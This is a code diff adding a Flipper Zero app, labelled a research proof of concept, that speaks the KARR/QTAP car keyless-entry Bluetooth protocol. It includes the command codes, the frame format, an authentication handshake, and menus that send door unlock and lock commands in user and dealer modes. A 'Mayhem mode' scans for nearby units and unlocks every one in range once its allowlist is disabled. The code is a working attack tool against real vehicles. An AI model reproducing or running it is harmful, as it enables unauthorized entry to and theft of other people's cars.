for(size_t i = 0; i < window_len; i++) {
checksum += uart[window_start + i];
}
checksum &= 0xFF;
if(((crc_received + checksum) & 0xFF) != 0) {
return false;
}
*command_out = uart[offset + 3];
size_t dlen = (length >= 1) ? (length - 1) : 0;
if(dlen > data_out_max) return false;
memcpy(data_out, &uart[offset + 4], dlen);
*data_len_out = dlen;
return true;
}
@@ -0,0 +1,37 @@
#pragma once
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
#define QT_MARKER 0xAA
#define QT_MAX_DATA_LEN 64
#define QT_MAX_FRAME_LEN (QT_MAX_DATA_LEN + 5)
typedef enum {
QtCmd_LockDoors = 0x0B,
QtCmd_UnlockDoors = 0x0C,
QtCmd_SilentLock = 0x25,
QtCmd_SilentUnlock = 0x26,
QtCmd_AuthInit = 0x22,
QtCmd_AuthChallenge = 0x0E,
QtCmd_AuthResponse = 0x0F,
QtCmd_AuthSuccess = 0x10,
} QtCommand;
size_t qt_protocol_generate(
QtCommand command,
const uint8_t* data,
size_t data_len,
uint8_t* out_buf,
size_t out_buf_size);
bool qt_protocol_parse(
const uint8_t* uart,
size_t uart_len,
size_t offset,
uint8_t* command_out,
uint8_t* data_out,
size_t data_out_max,
size_t* data_len_out);
@@ -0,0 +1,97 @@
#include "karr_poc_app.h"
#include "scenes/karr_poc_scene.h"
extern const SceneManagerHandlers karr_poc_scene_handlers;
const char* const karr_default_allowlist[] = {
"PLACEHOLDER-SERIAL-1",
"PLACEHOLDER-SERIAL-2",
};
const size_t karr_default_allowlist_count =
sizeof(karr_default_allowlist) / sizeof(karr_default_allowlist[0]);
static bool karr_poc_app_custom_event_callback(void* context, uint32_t event) {
KarrPocApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
static bool karr_poc_app_back_event_callback(void* context) {
KarrPocApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static KarrPocApp* karr_poc_app_alloc(void) {
KarrPocApp* app = malloc(sizeof(KarrPocApp));
memset(app, 0, sizeof(KarrPocApp));
app->gui = furi_record_open(RECORD_GUI);
app->view_dispatcher = view_dispatcher_alloc();
app->scene_manager = scene_manager_alloc(&karr_poc_scene_handlers, app);
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(app->view_dispatcher, karr_poc_app_custom_event_callback);
view_dispatcher_set_navigation_event_callback(app->view_dispatcher, karr_poc_app_back_event_callback);
app->submenu = submenu_alloc();
view_dispatcher_add_view(app->view_dispatcher, KarrPocView_Submenu, submenu_get_view(app->submenu));
app->widget = widget_alloc();
view_dispatcher_add_view(app->view_dispatcher, KarrPocView_Widget, widget_get_view(app->widget));
app->text_box = text_box_alloc();
view_dispatcher_add_view(app->view_dispatcher, KarrPocView_TextBox, text_box_get_view(app->text_box));
app->log_text = furi_string_alloc();
app->mode = QtMode_User;
app->pending_command = QtCmd_UnlockDoors;
app->allowlist_enabled = true;
app->allowlist_count = karr_default_allowlist_count < KARR_ALLOWLIST_MAX
? karr_default_allowlist_count
: KARR_ALLOWLIST_MAX;
for(size_t i = 0; i < app->allowlist_count; i++) {
strncpy(app->allowlist[i], karr_default_allowlist[i], KARR_BLE_NAME_MAX_LEN - 1);
app->allowlist[i][KARR_BLE_NAME_MAX_LEN - 1] = '\0';
}
app->mayhem_mode = QtMode_User;
app->mayhem_command = QtCmd_UnlockDoors;
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
return app;
}
static void karr_poc_app_free(KarrPocApp* app) {
furi_string_free(app->log_text);
view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_Submenu);
submenu_free(app->submenu);
view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_Widget);
widget_free(app->widget);
view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_TextBox);
text_box_free(app->text_box);
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
furi_record_close(RECORD_GUI);
free(app);
}
int32_t karr_poc_app(void* p) {
UNUSED(p);
KarrPocApp* app = karr_poc_app_alloc();
scene_manager_next_scene(app->scene_manager, KarrPocScene_Start);
view_dispatcher_run(app->view_dispatcher);
karr_poc_app_free(app);
return 0;
}
@@ -0,0 +1,69 @@
#pragma once
#include <furi.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/widget.h>
#include <gui/modules/text_box.h>
#include "helpers/karr_ble.h"
#include "helpers/qt_auth.h"
#include "helpers/qt_protocol.h"
#define KARR_POC_LOG_MAX_LEN 1024
typedef enum {
KarrPocView_Submenu,
KarrPocView_Widget,
KarrPocView_TextBox,
} KarrPocView;
#define KARR_ALLOWLIST_MAX 4
extern const char* const karr_default_allowlist[];
extern const size_t karr_default_allowlist_count;
typedef struct {
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
Submenu* submenu;
Widget* widget;
TextBox* text_box;
KarrBleDevice devices[KARR_BLE_MAX_DEVICES];
size_t device_count;
size_t selected_device;
QtMode mode;
QtCommand pending_command;
char allowlist[KARR_ALLOWLIST_MAX][KARR_BLE_NAME_MAX_LEN];
size_t allowlist_count;
bool allowlist_enabled;
QtMode mayhem_mode;
QtCommand mayhem_command;
FuriString* log_text;
} KarrPocApp;
typedef enum {
KarrPocEvent_DeviceFound,
KarrPocEvent_AuthStep,
KarrPocEvent_AuthDone,
KarrPocEvent_AuthFailed,
KarrPocEvent_CommandDone,
KarrPocEvent_MayhemToggleAllowlist,
KarrPocEvent_MayhemUnlockUser,
KarrPocEvent_MayhemLockUser,
KarrPocEvent_MayhemUnlockDealer,
KarrPocEvent_MayhemLockDealer,
KarrPocEvent_MayhemConfirmYes,
KarrPocEvent_MayhemConfirmNo,
KarrPocEvent_MayhemScanDone,
KarrPocEvent_MayhemRunDone,
} KarrPocCustomEvent;
@@ -0,0 +1,26 @@
#include "karr_poc_scene.h"
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
void (*const karr_poc_scene_on_enter_handlers[])(void*) = {
#include "karr_poc_scene_config.h"
};
#undef ADD_SCENE
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
bool (*const karr_poc_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
#include "karr_poc_scene_config.h"
};
#undef ADD_SCENE
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
void (*const karr_poc_scene_on_exit_handlers[])(void* context) = {
#include "karr_poc_scene_config.h"
};
#undef ADD_SCENE
const SceneManagerHandlers karr_poc_scene_handlers = {
.on_enter_handlers = karr_poc_scene_on_enter_handlers,
.on_event_handlers = karr_poc_scene_on_event_handlers,
.on_exit_handlers = karr_poc_scene_on_exit_handlers,
.scene_num = KarrPocScene_count,
};
@@ -0,0 +1,17 @@
#pragma once
#include <gui/scene_manager.h>
#define ADD_SCENE(prefix, name, id) KarrPocScene_##id,
typedef enum {
#include "karr_poc_scene_config.h"
KarrPocScene_count,
} KarrPocScene;
#undef ADD_SCENE
#define ADD_SCENE(prefix, name, id) \
void prefix##_scene_##name##_on_enter(void* context); \
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); \
void prefix##_scene_##name##_on_exit(void* context);
#include "karr_poc_scene_config.h"
#undef ADD_SCENE
@@ -0,0 +1,91 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
static const char* karr_ble_status_label(KarrBleStatus status) {
switch(status) {
case KarrBleStatus_ScanStarted:
return "Scan started";
case KarrBleStatus_DeviceFound:
return "Device found";
case KarrBleStatus_Connecting:
return "Connecting";
case KarrBleStatus_Connected:
return "Connected";
case KarrBleStatus_ServiceDiscovered:
return "Service/char OK";
case KarrBleStatus_AuthInitSent:
return "TX 0x22 (init)";
case KarrBleStatus_ChallengeReceived:
return "RX 0x0E (challenge)";
case KarrBleStatus_AuthResponseSent:
return "TX 0x0F (hash)";
case KarrBleStatus_AuthSuccess:
return "RX 0x10 (success)";
case KarrBleStatus_AuthFailed:
return "AUTH FAILED";
case KarrBleStatus_CommandSent:
return "Command sent";
case KarrBleStatus_Disconnected:
return "Disconnected";
case KarrBleStatus_Error:
return "ERROR";
default:
return "?";
}
}
static void karr_poc_scene_auth_ble_callback(KarrBleStatus status, const char* message, void* context) {
KarrPocApp* app = context;
furi_string_cat_printf(app->log_text, "%s: %s\n", karr_ble_status_label(status), message);
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
if(status == KarrBleStatus_AuthSuccess) {
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthDone);
} else if(status == KarrBleStatus_AuthFailed || status == KarrBleStatus_Error) {
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthFailed);
}
}
void karr_poc_scene_auth_on_enter(void* context) {
KarrPocApp* app = context;
KarrBleDevice* dev = &app->devices[app->selected_device];
furi_string_reset(app->log_text);
text_box_reset(app->text_box);
text_box_set_font(app->text_box, TextBoxFontText);
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
bool ok = karr_ble_connect_and_auth(dev, app->mode, karr_poc_scene_auth_ble_callback, app);
if(!ok) {
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthFailed);
}
}
bool karr_poc_scene_auth_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KarrPocEvent_AuthDone) {
bool sent = karr_ble_send_command(app->pending_command);
furi_string_cat_printf(
app->log_text, "\n%s\n", sent ? "Command sent OK" : "Failed to send command");
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
consumed = true;
} else if(event.event == KarrPocEvent_AuthFailed) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_auth_on_exit(void* context) {
UNUSED(context);
}
@@ -0,0 +1,9 @@
ADD_SCENE(karr_poc, start, Start)
ADD_SCENE(karr_poc, scan, Scan)
ADD_SCENE(karr_poc, device_menu, DeviceMenu)
ADD_SCENE(karr_poc, auth, Auth)
ADD_SCENE(karr_poc, result, Result)
ADD_SCENE(karr_poc, mayhem_menu, MayhemMenu)
ADD_SCENE(karr_poc, mayhem_confirm, MayhemConfirm)
ADD_SCENE(karr_poc, mayhem_scan, MayhemScan)
ADD_SCENE(karr_poc, mayhem_run, MayhemRun)
@@ -0,0 +1,86 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
typedef enum {
KarrPocDeviceMenuIndex_UnlockUser,
KarrPocDeviceMenuIndex_LockUser,
KarrPocDeviceMenuIndex_UnlockDealer,
KarrPocDeviceMenuIndex_LockDealer,
} KarrPocDeviceMenuIndex;
static void karr_poc_scene_device_menu_submenu_callback(void* context, uint32_t index) {
KarrPocApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, index);
}
void karr_poc_scene_device_menu_on_enter(void* context) {
KarrPocApp* app = context;
KarrBleDevice* dev = &app->devices[app->selected_device];
submenu_reset(app->submenu);
submenu_set_header(app->submenu, dev->name);
submenu_add_item(
app->submenu,
"Unlock (mode User)",
KarrPocDeviceMenuIndex_UnlockUser,
karr_poc_scene_device_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Lock (mode User)",
KarrPocDeviceMenuIndex_LockUser,
karr_poc_scene_device_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Unlock (mode Dealer)",
KarrPocDeviceMenuIndex_UnlockDealer,
karr_poc_scene_device_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Lock (mode Dealer)",
KarrPocDeviceMenuIndex_LockDealer,
karr_poc_scene_device_menu_submenu_callback,
app);
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
}
bool karr_poc_scene_device_menu_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
switch(event.event) {
case KarrPocDeviceMenuIndex_UnlockUser:
app->mode = QtMode_User;
app->pending_command = QtCmd_UnlockDoors;
break;
case KarrPocDeviceMenuIndex_LockUser:
app->mode = QtMode_User;
app->pending_command = QtCmd_LockDoors;
break;
case KarrPocDeviceMenuIndex_UnlockDealer:
app->mode = QtMode_Dealer;
app->pending_command = QtCmd_UnlockDoors;
break;
case KarrPocDeviceMenuIndex_LockDealer:
app->mode = QtMode_Dealer;
app->pending_command = QtCmd_LockDoors;
break;
default:
return false;
}
scene_manager_next_scene(app->scene_manager, KarrPocScene_Auth);
consumed = true;
}
return consumed;
}
void karr_poc_scene_device_menu_on_exit(void* context) {
KarrPocApp* app = context;
submenu_reset(app->submenu);
}
@@ -0,0 +1,57 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
static void karr_poc_scene_mayhem_confirm_widget_callback(
GuiButtonType result,
InputType type,
void* context) {
KarrPocApp* app = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(app->view_dispatcher, result);
}
}
void karr_poc_scene_mayhem_confirm_on_enter(void* context) {
KarrPocApp* app = context;
widget_reset(app->widget);
widget_add_text_scroll_element(
app->widget,
0,
0,
128,
44,
"ALLOWLIST DISABLED\n\n"
"This will send the command\n"
"to ALL units that respond\n"
"nearby, without filtering.\n\n"
"Are you sure?");
widget_add_button_element(
app->widget, GuiButtonTypeLeft, "Cancel", karr_poc_scene_mayhem_confirm_widget_callback, app);
widget_add_button_element(
app->widget, GuiButtonTypeRight, "Yes, do it", karr_poc_scene_mayhem_confirm_widget_callback, app);
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
}
bool karr_poc_scene_mayhem_confirm_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeRight) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemScan);
consumed = true;
} else if(event.event == GuiButtonTypeLeft) {
scene_manager_search_and_switch_to_previous_scene(app->scene_manager, KarrPocScene_MayhemMenu);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_mayhem_confirm_on_exit(void* context) {
KarrPocApp* app = context;
widget_reset(app->widget);
}
@@ -0,0 +1,110 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
#include <stdio.h>
static void karr_poc_scene_mayhem_menu_submenu_callback(void* context, uint32_t index) {
KarrPocApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, index);
}
void karr_poc_scene_mayhem_menu_on_enter(void* context) {
KarrPocApp* app = context;
submenu_reset(app->submenu);
submenu_set_header(app->submenu, "Mayhem mode");
char allowlist_label[48];
snprintf(
allowlist_label,
sizeof(allowlist_label),
"Allowlist: %s (%zu)",
app->allowlist_enabled ? "ON" : "OFF",
app->allowlist_count);
submenu_add_item(
app->submenu,
allowlist_label,
KarrPocEvent_MayhemToggleAllowlist,
karr_poc_scene_mayhem_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Unlock All (User)",
KarrPocEvent_MayhemUnlockUser,
karr_poc_scene_mayhem_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Lock All (User)",
KarrPocEvent_MayhemLockUser,
karr_poc_scene_mayhem_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Unlock All (Dealer)",
KarrPocEvent_MayhemUnlockDealer,
karr_poc_scene_mayhem_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Lock All (Dealer)",
KarrPocEvent_MayhemLockDealer,
karr_poc_scene_mayhem_menu_submenu_callback,
app);
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
}
bool karr_poc_scene_mayhem_menu_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type != SceneManagerEventTypeCustom) return false;
if(event.event == KarrPocEvent_MayhemToggleAllowlist) {
app->allowlist_enabled = !app->allowlist_enabled;
karr_poc_scene_mayhem_menu_on_enter(app);
return true;
}
QtMode mode;
QtCommand command;
switch(event.event) {
case KarrPocEvent_MayhemUnlockUser:
mode = QtMode_User;
command = QtCmd_UnlockDoors;
break;
case KarrPocEvent_MayhemLockUser:
mode = QtMode_User;
command = QtCmd_LockDoors;
break;
case KarrPocEvent_MayhemUnlockDealer:
mode = QtMode_Dealer;
command = QtCmd_UnlockDoors;
break;
case KarrPocEvent_MayhemLockDealer:
mode = QtMode_Dealer;
command = QtCmd_LockDoors;
break;
default:
return false;
}
app->mayhem_mode = mode;
app->mayhem_command = command;
if(app->allowlist_enabled) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemScan);
} else {
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemConfirm);
}
consumed = true;
return consumed;
}
void karr_poc_scene_mayhem_menu_on_exit(void* context) {
KarrPocApp* app = context;
submenu_reset(app->submenu);
}
@@ -0,0 +1,97 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
#include <string.h>
static bool karr_poc_device_in_allowlist(KarrPocApp* app, const char* name) {
for(size_t i = 0; i < app->allowlist_count; i++) {
if(strcmp(app->allowlist[i], name) == 0) return true;
}
return false;
}
static void karr_poc_scene_mayhem_run_device_callback(
const KarrBleDevice* device,
KarrMayhemResult result,
void* context) {
KarrPocApp* app = context;
const char* label;
switch(result) {
case KarrMayhemResult_Success:
label = "OK";
break;
case KarrMayhemResult_AuthFailed:
label = "AUTH FAILED";
break;
case KarrMayhemResult_ConnectFailed:
label = "CONNECT FAILED";
break;
default:
label = "?";
break;
}
furi_string_cat_printf(app->log_text, "%s -> %s\n", device->name, label);
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
}
void karr_poc_scene_mayhem_run_on_enter(void* context) {
KarrPocApp* app = context;
text_box_reset(app->text_box);
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
KarrBleDevice targets[KARR_BLE_MAX_DEVICES];
size_t target_count = 0;
for(size_t i = 0; i < app->device_count; i++) {
bool allowed = !app->allowlist_enabled || karr_poc_device_in_allowlist(app, app->devices[i].name);
if(allowed && target_count < KARR_BLE_MAX_DEVICES) {
targets[target_count++] = app->devices[i];
}
}
furi_string_cat_printf(
app->log_text,
"\nMayhem: %zu of %zu units%s\n\n",
target_count,
app->device_count,
app->allowlist_enabled ? " (filtered by allowlist)" : "");
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
if(target_count == 0) {
furi_string_cat_str(
app->log_text, "No units found match the\nallowlist. Nothing to do.\n");
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemRunDone);
return;
}
karr_ble_mayhem_run(
targets,
target_count,
app->mayhem_mode,
app->mayhem_command,
karr_poc_scene_mayhem_run_device_callback,
app);
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemRunDone);
}
bool karr_poc_scene_mayhem_run_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KarrPocEvent_MayhemRunDone) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_mayhem_run_on_exit(void* context) {
UNUSED(context);
}
@@ -0,0 +1,70 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
#include <string.h>
#define MAYHEM_SCAN_DURATION_MS 4000
static void karr_poc_scene_mayhem_scan_ble_callback(
KarrBleStatus status,
const char* message,
void* context) {
KarrPocApp* app = context;
if(status == KarrBleStatus_DeviceFound) {
if(app->device_count < KARR_BLE_MAX_DEVICES) {
KarrBleDevice* dev = &app->devices[app->device_count];
strncpy(dev->name, message, KARR_BLE_NAME_MAX_LEN - 1);
dev->name[KARR_BLE_NAME_MAX_LEN - 1] = '\0';
memset(dev->address, 0, sizeof(dev->address));
dev->rssi = 0;
app->device_count++;
}
}
}
void karr_poc_scene_mayhem_scan_on_enter(void* context) {
KarrPocApp* app = context;
app->device_count = 0;
furi_string_reset(app->log_text);
text_box_reset(app->text_box);
furi_string_cat_str(app->log_text, "Scanning for devices...\n\nPlease wait...\n");
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
karr_ble_scan_start(karr_poc_scene_mayhem_scan_ble_callback, app);
furi_delay_ms(MAYHEM_SCAN_DURATION_MS);
karr_ble_scan_stop();
furi_string_reset(app->log_text);
furi_string_cat_printf(
app->log_text, "Scan complete: %zu devices found\n\n", app->device_count);
for(size_t i = 0; i < app->device_count; i++) {
furi_string_cat_printf(
app->log_text, "%zu. %s\n", i + 1, app->devices[i].name);
}
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemScanDone);
}
bool karr_poc_scene_mayhem_scan_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KarrPocEvent_MayhemScanDone) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemRun);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_mayhem_scan_on_exit(void* context) {
UNUSED(context);
}
@@ -0,0 +1,42 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
static void karr_poc_scene_result_widget_callback(GuiButtonType result, InputType type, void* context) {
KarrPocApp* app = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(app->view_dispatcher, result);
}
}
void karr_poc_scene_result_on_enter(void* context) {
KarrPocApp* app = context;
widget_reset(app->widget);
widget_add_text_scroll_element(
app->widget, 0, 0, 128, 50, furi_string_get_cstr(app->log_text));
widget_add_button_element(
app->widget, GuiButtonTypeCenter, "Back to start", karr_poc_scene_result_widget_callback, app);
karr_ble_disconnect();
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
}
bool karr_poc_scene_result_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeCenter) {
scene_manager_search_and_switch_to_previous_scene(app->scene_manager, KarrPocScene_Start);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_result_on_exit(void* context) {
KarrPocApp* app = context;
widget_reset(app->widget);
}
@@ -0,0 +1,67 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
#include <string.h>
static void karr_poc_scene_scan_submenu_callback(void* context, uint32_t index) {
KarrPocApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, index);
}
static void karr_poc_scene_scan_ble_callback(KarrBleStatus status, const char* message, void* context) {
KarrPocApp* app = context;
if(status == KarrBleStatus_DeviceFound) {
if(app->device_count < KARR_BLE_MAX_DEVICES) {
KarrBleDevice* dev = &app->devices[app->device_count];
strncpy(dev->name, message, KARR_BLE_NAME_MAX_LEN - 1);
dev->name[KARR_BLE_NAME_MAX_LEN - 1] = '\0';
memset(dev->address, 0, sizeof(dev->address));
dev->rssi = 0;
submenu_add_item(
app->submenu,
dev->name,
app->device_count,
karr_poc_scene_scan_submenu_callback,
app);
app->device_count++;
}
}
}
void karr_poc_scene_scan_on_enter(void* context) {
KarrPocApp* app = context;
app->device_count = 0;
submenu_reset(app->submenu);
submenu_set_header(app->submenu, "Scanning...");
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
karr_ble_scan_start(karr_poc_scene_scan_ble_callback, app);
submenu_set_header(app->submenu, "Units found:");
}
bool karr_poc_scene_scan_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
uint32_t index = event.event;
if(index < app->device_count) {
app->selected_device = index;
scene_manager_next_scene(app->scene_manager, KarrPocScene_DeviceMenu);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_scan_on_exit(void* context) {
KarrPocApp* app = context;
karr_ble_scan_stop();
submenu_reset(app->submenu);
}
@@ -0,0 +1,68 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
typedef enum {
KarrPocStartIndex_Scan,
KarrPocStartIndex_Mayhem,
KarrPocStartIndex_About,
} KarrPocStartIndex;
static void karr_poc_scene_start_submenu_callback(void* context, uint32_t index) {
KarrPocApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, index);
}
void karr_poc_scene_start_on_enter(void* context) {
KarrPocApp* app = context;
submenu_reset(app->submenu);
submenu_set_header(app->submenu, "KARR BLE PoC");
submenu_add_item(
app->submenu, "Scan for units", KarrPocStartIndex_Scan, karr_poc_scene_start_submenu_callback, app);
submenu_add_item(
app->submenu, "Mayhem mode", KarrPocStartIndex_Mayhem, karr_poc_scene_start_submenu_callback, app);
submenu_add_item(
app->submenu, "About", KarrPocStartIndex_About, karr_poc_scene_start_submenu_callback, app);
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
}
bool karr_poc_scene_start_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KarrPocStartIndex_Scan) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_Scan);
consumed = true;
} else if(event.event == KarrPocStartIndex_Mayhem) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemMenu);
consumed = true;
} else if(event.event == KarrPocStartIndex_About) {
widget_reset(app->widget);
widget_add_text_scroll_element(
app->widget,
0,
0,
128,
64,
"KARR/QTAP BLE PoC\n\n"
"BLE remote keyless system\n"
"research project.\n\n"
"Protocol and cryptography\n"
"analysis of the KARR/QTAP\n"
"automotive system.\n\n"
"See project documentation\n"
"for technical details.");
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_start_on_exit(void* context) {
KarrPocApp* app = context;
submenu_reset(app->submenu);
}
+3 -3
View File
@@ -27,9 +27,9 @@ COPRO_CUBE_VERSION = "1.20.0"
COPRO_CUBE_DIR = "lib/stm32wb_copro"
# Default radio stack
COPRO_STACK_BIN = "stm32wb5x_BLE_Stack_light_fw.bin"
# Firmware also supports "ble_full", but it might not fit into debug builds
COPRO_STACK_TYPE = "ble_light"
COPRO_STACK_BIN = "stm32wb5x_BLE_Stack_full_fw.bin"
# Firmware also supports "ble_light", but it might not fit into debug builds
COPRO_STACK_TYPE = "ble_full"
# Leave 0 to let scripts automatically calculate it
COPRO_STACK_ADDR = "0x0"
+1
View File
@@ -41,6 +41,7 @@ libs = env.BuildModules(
"update_util",
"heatshrink",
"ble_profile",
"ble_central",
"bit_lib",
"datetime",
"ieee754_parse_wrap",
+25
View File
@@ -0,0 +1,25 @@
Import("env")
env.Append(
CPPPATH=[
"#/lib/ble_central",
],
SDK_HEADERS=[
File("ble_central.h"),
],
)
libenv = env.Clone(FW_LIB_NAME="ble_central")
libenv.AppendUnique(
CCFLAGS=[
"-mword-relocations",
"-mlong-calls",
],
)
libenv.ApplyLibFlags()
sources = libenv.GlobRecursive("*.c")
lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources)
libenv.Install("${LIB_DIST_DIR}", lib)
Return("lib")
+18
View File
@@ -0,0 +1,18 @@
#pragma once
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
uint8_t aci_gap_start_general_discovery_proc(uint16_t LE_Scan_Interval, uint16_t LE_Scan_Window, uint8_t Own_Address_Type, uint8_t Filter_Duplicates);
uint8_t aci_gap_terminate_gap_proc(uint8_t Procedure_Code);
uint8_t aci_gap_create_connection(uint16_t LE_Scan_Interval, uint16_t LE_Scan_Window, uint8_t Peer_Address_Type, const uint8_t* Peer_Address, uint8_t Own_Address_Type, uint16_t Conn_Interval_Min, uint16_t Conn_Interval_Max, uint16_t Conn_Latency, uint16_t Supervision_Timeout, uint16_t Minimum_CE_Length, uint16_t Maximum_CE_Length);
uint8_t hci_disconnect(uint16_t Connection_Handle, uint8_t Reason);
uint8_t aci_gatt_disc_all_primary_services(uint16_t Connection_Handle);
uint8_t aci_gatt_write_char_value(uint16_t Connection_Handle, uint16_t Attr_Handle, uint8_t Attribute_Val_Length, const uint8_t* Attribute_Val);
uint8_t aci_gatt_write_without_resp(uint16_t Connection_Handle, uint16_t Attr_Handle, uint8_t Attribute_Val_Length, const uint8_t* Attribute_Val);
#ifdef __cplusplus
}
#endif
+357
View File
@@ -0,0 +1,357 @@
#include "ble_central.h"
#include <ble/ble.h>
#include <ble_glue.h>
#include <furi_ble/event_dispatcher.h>
#include <interface/patterns/ble_thread/tl/hci_tl.h>
#include <furi.h>
#define TAG "BleCentral"
#define BLE_CENTRAL_SCAN_INTERVAL 0x100
#define BLE_CENTRAL_SCAN_WINDOW 0x50
typedef struct {
BleCentralEventCallback callback;
void* context;
GapSvcEventHandler* handler_ref;
uint16_t connection_handle;
bool connected;
bool scanning;
} BleCentral;
static BleCentral* ble_central = NULL;
static const char* ble_central_status_str(uint8_t status) {
switch(status) {
case 0x00: return "SUCCESS";
case 0x01: return "UNKNOWN_HCI_CMD";
case 0x02: return "UNKNOWN_CONN_ID";
case 0x03: return "HW_FAILURE";
case 0x04: return "PAGE_TIMEOUT";
case 0x05: return "AUTH_FAILURE";
case 0x06: return "PIN_MISSING";
case 0x07: return "MEM_CAP_EXCEEDED";
case 0x08: return "CONN_TIMEOUT";
case 0x09: return "CONN_LIMIT_EXCEEDED";
case 0x0A: return "SYNC_CONN_LIMIT_EXCEEDED";
case 0x0B: return "ACL_CONN_ALREADY_EXISTS";
